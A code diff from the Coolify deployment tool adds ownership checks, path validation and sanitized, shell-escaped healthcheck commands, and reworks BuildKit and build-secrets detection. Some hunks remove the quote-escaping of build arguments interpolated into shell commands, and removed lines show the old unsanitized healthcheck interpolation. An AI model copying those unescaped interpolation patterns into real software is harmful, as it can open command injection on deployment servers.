return response()->json(['message' => 'Deployment not found.'], 404);
}
$application = $deployment->application;
if (! $application || data_get($application->team(), 'id') !== $teamId) {
return response()->json(['message' => 'Deployment not found.'], 404);
}
return response()->json($this->removeSensitiveData($deployment));
}

View file

@ -290,9 +290,12 @@ class ServersController extends Controller
}
$uuid = $request->get('uuid');
if ($uuid) {
$domains = Application::getDomainsByUuid($uuid);
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first();
if (! $application) {
return response()->json(['message' => 'Application not found.'], 404);
}
return response()->json(serializeApiResponse($domains));
return response()->json(serializeApiResponse($application->fqdns));
}
$projects = Project::where('team_id', $teamId)->get();
$domains = collect();

View file

@ -25,7 +25,7 @@ class CheckForcePasswordReset
}
$force_password_reset = auth()->user()->force_password_reset;
if ($force_password_reset) {
if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'livewire/update' || $request->path() === 'logout') {
if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'two-factor-challenge' || $request->path() === 'livewire/update' || $request->path() === 'logout') {
return $next($request);
}

View file

@ -171,6 +171,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
private bool $dockerBuildkitSupported = false;
private bool $dockerSecretsSupported = false;
private bool $skip_build = false;
private Collection|string $build_secrets;
@ -251,7 +253,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
}
if ($this->application->build_pack === 'dockerfile') {
if (data_get($this->application, 'dockerfile_location')) {
$this->dockerfile_location = $this->application->dockerfile_location;
$this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location');
}
}
}
@ -381,13 +383,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
private function detectBuildKitCapabilities(): void
{
// If build secrets are not enabled, skip detection and use traditional args
if (! $this->application->settings->use_build_secrets) {
$this->dockerBuildkitSupported = false;
return;
}
$serverToCheck = $this->use_build_server ? $this->build_server : $this->server;
$serverName = $this->use_build_server ? "build server ({$serverToCheck->name})" : "deployment server ({$serverToCheck->name})";
@ -403,53 +398,55 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
if ($majorVersion < 18 || ($majorVersion == 18 && $minorVersion < 9)) {
$this->dockerBuildkitSupported = false;
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+). Build secrets feature disabled.");
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+).");
return;
}
$buildkitEnabled = instant_remote_process(
// Check buildx availability (always installed by Coolify on Docker 24.0+)
$buildxAvailable = instant_remote_process(
["docker buildx version >/dev/null 2>&1 && echo 'available' || echo 'not-available'"],
$serverToCheck
);
if (trim($buildkitEnabled) !== 'available') {
if (trim($buildxAvailable) === 'available') {
$this->dockerBuildkitSupported = true;
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}.");
} else {
// Fallback: test DOCKER_BUILDKIT=1 support via --progress flag
$buildkitTest = instant_remote_process(
["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"],
["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q '\\-\\-progress' && echo 'supported' || echo 'not-supported'"],
$serverToCheck
);
if (trim($buildkitTest) === 'supported') {
$this->dockerBuildkitSupported = true;
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit secrets support detected on {$serverName}.");
$this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.');
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit support detected on {$serverName}.");
} else {
$this->dockerBuildkitSupported = false;
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not have BuildKit secrets support.");
$this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.');
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit. Build output progress will be limited.");
}
} else {
// Buildx is available, which means BuildKit is available
// Now specifically test for secrets support
}
// If build secrets are enabled and BuildKit is available, verify --secret flag support
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported) {
$secretsTest = instant_remote_process(
["docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"],
$serverToCheck
);
if (trim($secretsTest) === 'supported') {
$this->dockerBuildkitSupported = true;
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}.");
$this->dockerSecretsSupported = true;
$this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.');
} else {
$this->dockerBuildkitSupported = false;
$this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with Buildx on {$serverName}, but secrets not supported.");
$this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.');
$this->dockerSecretsSupported = false;
$this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments.");
}
}
} catch (\Exception $e) {
$this->dockerBuildkitSupported = false;
$this->dockerSecretsSupported = false;
$this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}");
$this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but detection failed. Using traditional build arguments.');
}
}
@ -571,7 +568,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
private function deploy_docker_compose_buildpack()
{
if (data_get($this->application, 'docker_compose_location')) {
$this->docker_compose_location = $this->application->docker_compose_location;
$this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location');
}
if (data_get($this->application, 'docker_compose_custom_start_command')) {
$this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command;
@ -632,7 +629,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
// For raw compose, we cannot automatically add secrets configuration
// User must define it manually in their docker-compose file
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) {
if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) {
$this->application_deployment_queue->addLogEntry('Build secrets are configured. Ensure your docker-compose file includes build.secrets configuration for services that need them.');
}
} else {
@ -653,7 +650,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
}
// Add build secrets to compose file if enabled and BuildKit is supported
if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) {
if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) {
$composeFile = $this->add_build_secrets_to_compose($composeFile);
}
@ -689,8 +686,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
// Inject build arguments after build subcommand if not using build secrets
if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
$build_args_string = $this->build_args->implode(' ');
// Escape single quotes for bash -c context used by executeInDocker
$build_args_string = str_replace("'", "'\\''", $build_args_string);
// Inject build args right after 'build' subcommand (not at the end)
$original_command = $build_command;
@ -702,9 +697,17 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
}
}
$this->execute_remote_command(
[executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true],
);
try {
$this->execute_remote_command(
[executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true],
);
} catch (\RuntimeException $e) {
if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) {
throw new DeploymentException("Custom build command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_build_command}");
}
throw $e;
}
} else {
$command = "{$this->coolify_variables} docker compose";
// Prepend DOCKER_BUILDKIT=1 if BuildKit is supported
@ -721,8 +724,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) {
$build_args_string = $this->build_args->implode(' ');
// Escape single quotes for bash -c context used by executeInDocker
$build_args_string = str_replace("'", "'\\''", $build_args_string);
$command .= " {$build_args_string}";
$this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.');
}
@ -768,9 +769,18 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
);
$this->write_deployment_configurations();
$this->execute_remote_command(
[executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
);
try {
$this->execute_remote_command(
[executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true],
);
} catch (\RuntimeException $e) {
if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) {
throw new DeploymentException("Custom start command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_start_command}");
}
throw $e;
}
} else {
$this->write_deployment_configurations();
$this->docker_compose_location = '/docker-compose.yaml';
@ -831,7 +841,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$this->server = $this->build_server;
}
if (data_get($this->application, 'dockerfile_location')) {
$this->dockerfile_location = $this->application->dockerfile_location;
$this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location');
}
$this->prepare_builder_image();
$this->check_git_if_build_needed();
@ -1800,7 +1810,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$counter = 1;
$this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.');
if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) {
$this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}");
$healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL';
$this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}");
}
$this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck.");
$sleeptime = 0;
@ -2758,29 +2769,55 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
private function generate_healthcheck_commands()
{
// Handle CMD type healthcheck
if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
$this->full_healthcheck_url = $this->application->health_check_command;
return $this->application->health_check_command;
}
// HTTP type healthcheck (default)
if (! $this->application->health_check_port) {
$health_check_port = $this->application->ports_exposes_array[0];
$health_check_port = (int) $this->application->ports_exposes_array[0];
} else {
$health_check_port = $this->application->health_check_port;
$health_check_port = (int) $this->application->health_check_port;
}
if ($this->application->settings->is_static || $this->application->build_pack === 'static') {
$health_check_port = 80;
}
if ($this->application->health_check_path) {
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}";
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1",
];
$method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET');
$scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http');
$host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost');
$path = $this->application->health_check_path
? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/')
: null;
$url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/'));
$method = escapeshellarg($method);
if ($path) {
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}";
} else {
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/";
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1",
];
$this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/";
}
$generated_healthchecks_commands = [
"curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1",
];
return implode(' ', $generated_healthchecks_commands);
}
private function sanitizeHealthCheckValue(string $value, string $pattern, string $default): string
{
if (preg_match($pattern, $value)) {
return $value;
}
return $default;
}
private function pull_latest_image($image)
{
$this->application_deployment_queue->addLogEntry("Pulling latest image ($image) from the registry.");
@ -2817,7 +2854,11 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$nginx_config = base64_encode(defaultNginxConfiguration());
}
}
$build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}";
if ($this->dockerBuildkitSupported) {
$build_command = "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}";
} else {
$build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}";
}
$base64_build_command = base64_encode($build_command);
$this->execute_remote_command(
[
@ -2857,21 +2898,19 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
private function build_image()
{
// Add Coolify related variables to the build args/secrets
if ($this->dockerBuildkitSupported) {
// Coolify variables are already included in the secrets from generate_build_env_variables
// build_secrets is already a string at this point
} else {
if (! $this->dockerBuildkitSupported) {
// Traditional build args approach - generate COOLIFY_ variables locally
// Generate COOLIFY_ variables locally for build args
$coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
$coolify_envs->each(function ($value, $key) {
$this->build_args->push("--build-arg '{$key}'");
});
$this->build_args = $this->build_args instanceof \Illuminate\Support\Collection
? $this->build_args->implode(' ')
: (string) $this->build_args;
}
// Always convert build_args Collection to string for command interpolation
$this->build_args = $this->build_args instanceof \Illuminate\Support\Collection
? $this->build_args->implode(' ')
: (string) $this->build_args;
$this->application_deployment_queue->addLogEntry('----------------------------------------');
if ($this->disableBuildCache) {
$this->application_deployment_queue->addLogEntry('Docker build cache is disabled. It will not be used during the build process.');
@ -2899,7 +2938,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
'hidden' => true,
]);
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the nixpacks Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
@ -2907,9 +2946,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
ray($build_command);
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
}
} else {
$this->execute_remote_command([
@ -2919,18 +2957,16 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
'hidden' => true,
]);
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the nixpacks Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->workdir}");
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}");
}
}
@ -2952,7 +2988,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
} else {
// Dockerfile buildpack
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
@ -2963,19 +2999,17 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
}
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
if ($this->force_rebuild) {
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}");
}
} else {
// Traditional build with args
if ($this->force_rebuild) {
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}");
}
}
$base64_build_command = base64_encode($build_command);
@ -3010,7 +3044,11 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
$nginx_config = base64_encode(defaultNginxConfiguration());
}
}
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
if ($this->dockerBuildkitSupported) {
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
}
$base64_build_command = base64_encode($build_command);
$this->execute_remote_command(
[
@ -3035,7 +3073,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
} else {
// Pure Dockerfile based deployment
if ($this->application->dockerfile) {
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
@ -3044,12 +3082,19 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
} else {
$build_command = "DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}";
}
} else {
// Traditional build with args
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
if ($this->force_rebuild) {
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
}
} else {
// Traditional build with args (no --progress for legacy builder compatibility)
if ($this->force_rebuild) {
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}");
}
}
$base64_build_command = base64_encode($build_command);
@ -3079,18 +3124,16 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
'hidden' => true,
]);
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the nixpacks Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}");
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
}
} else {
$this->execute_remote_command([
@ -3100,18 +3143,16 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"),
'hidden' => true,
]);
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the nixpacks Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}");
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
}
}
$base64_build_command = base64_encode($build_command);
@ -3132,7 +3173,7 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
$this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]);
} else {
// Dockerfile buildpack
if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) {
if ($this->dockerSecretsSupported) {
// Modify the Dockerfile to use build secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
// Use BuildKit with secrets
@ -3144,19 +3185,17 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
}
} elseif ($this->dockerBuildkitSupported) {
// BuildKit without secrets
$this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}");
$secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : '';
if ($this->force_rebuild) {
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
} else {
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
$build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}");
}
} else {
// Traditional build with args
if ($this->force_rebuild) {
$build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}");
